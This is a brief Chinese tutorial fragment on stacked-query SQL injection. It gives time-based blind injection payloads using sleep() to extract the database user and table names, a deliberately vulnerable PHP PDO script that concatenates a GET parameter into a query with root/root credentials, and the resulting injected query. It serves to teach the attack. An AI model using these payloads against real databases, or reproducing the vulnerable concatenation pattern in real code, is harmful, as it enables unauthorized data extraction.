Web网络安全分析堆叠查询注入攻击原理

';select if(substr(user(),1,1)='r',sleep(3),1)--+

';select if(substr((select table_name from infORMation_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)--+

<?php header('Content-type:text/html;charset=utf-8');
try
{
    $conn = new PDO("mysql:host=localhost;dbname=test", "root", "root");//连接数据库，初始化一个pdo对象
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);//设置一个属性

    $id = @$_GET['id'];
    $sql = "select * from users where `id`='".$id."'";

    echo "<hr />";
    echo "当前执行语句为：".$sql;
    echo "<hr />";

    $stmt = $conn->query($sql);

    $result = $stmt->setFetchMode(PDO::FETCH_ASSOC);
    foreach($stmt->fetchAll() as $k=>$v)
    {
        foreach ($v as $key => $value)
        {
            echo $value;
        }
    }
    $dsn = null;
}
catch(PDOException $e)
{
    echo "error";
}
$conn = null;
?>

select * from users where `id`='1';select if(ord(substring(user(),1,1))=114,sleep(3),1);#